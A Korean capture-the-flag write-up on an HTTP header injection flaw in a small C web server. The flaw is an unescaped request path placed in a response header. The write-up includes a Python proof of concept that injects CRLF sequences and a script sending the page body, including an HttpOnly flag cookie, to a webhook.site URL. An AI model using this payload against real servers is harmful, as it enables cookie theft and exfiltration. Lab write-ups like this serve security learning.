
요약하자면, 간단한 HTTP Header Injection 문제입니다.
문제에는
- C로 구현된 정적인 본문을 반환하는 HTTP 서버
Secure
속성이 설정된flag
쿠키에 flag를 담아 사용자가 지정한 경로에 접속하는 admin bot의 코드가 포함되어 있습니다.
따라서 단순 XSS 만으로는 쿠키를 가져올 수 없음을 알 수 있습니다.
아무런 쿠키나 담고 접속해보면 다음과 같은 응답을 주는 것을 알 수 있습니다.
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Requested-Path: /
Set-Cookie: test=value; HttpOnly; Secure
<html><head><title>Simple HTTP Server</title></head><body><h1>Hello, World!</h1></body></html>
이러한
- HTTP/1.1에서 Header와 Body는
\r\n\r\n
으로 구분됩니다. - 요청 경로를 담는
X-Requested-Path
Header가 있습니다. - 그 아래에 서버는
Set-Cookie
헤더를 통해 클라이언트에 쿠키를 설정합니다.
HTTP Header Injection 문제임을 유추하기 위해서 X-Requested-Path
가 어떻게 처리되는지 봐야합니다.
char* path = decode_url(req->path);
// 중략
set_status(resp, HTTP_OK);
add_header(resp, "Content-Type", "text/html; charset=utf-8");
add_header(resp, "X-Requested-Path", path);
요청 경로를 디코드하고 add_header
함수를 통해 X-Requested-Path
에 경로를 추가함을 알 수 있습니다.
그럼 add_header
가 어떻게 구현되는지 봐야 할 것입니다.
void add_header(http_response* resp, const char* key, const char* value) {
char header[1024*2];
snprintf(header, sizeof(header), "%s: %s\r\n", key, value);
strcat(resp->headers, header);
}
이스케이프 처리를 별도로 하지 않는 것을 알 수 있습니다.
따라서 요청 경로에 \r\n\r\n
을 삽입하여 뒤이어 오는 Set-Cookie
등의 헤더를 body로 인식되게 만들어 XSS와 조합하여 Flag를 얻어올 수 있음을 알 수 있습니다.

잘 작동합니다!
import urllib.parse
import requests
def main():
webhook_site = 'https://webhook.site/[...]'
payload = '\r\n\r\n<script>window.onload=()=>fetch("'+webhook_site+'?"+btoa(document.body.innerHTML))</script>'
url = 'http://chall.infrafor.us:2001/' + urllib.parse.quote(payload)
response = requests.get(url)
print(response.text)
if __name__ == '__main__':
main()
간단한 PoC 코드를 작성했습니다.

base64 decode를 하면 flag를 얻을 수 있습니다.
Set-Cookie: flag=CASPER{HTTP_He@d3r_1nj@cti0n}; HttpOnly; Secure
<title>Simple HTTP Server</titleO[ËÛÜOÚO
Flag: CASPER{HTTP_He@d3r_1nj@cti0n}
By 동헌희(@honey/honey@sandwich.dev)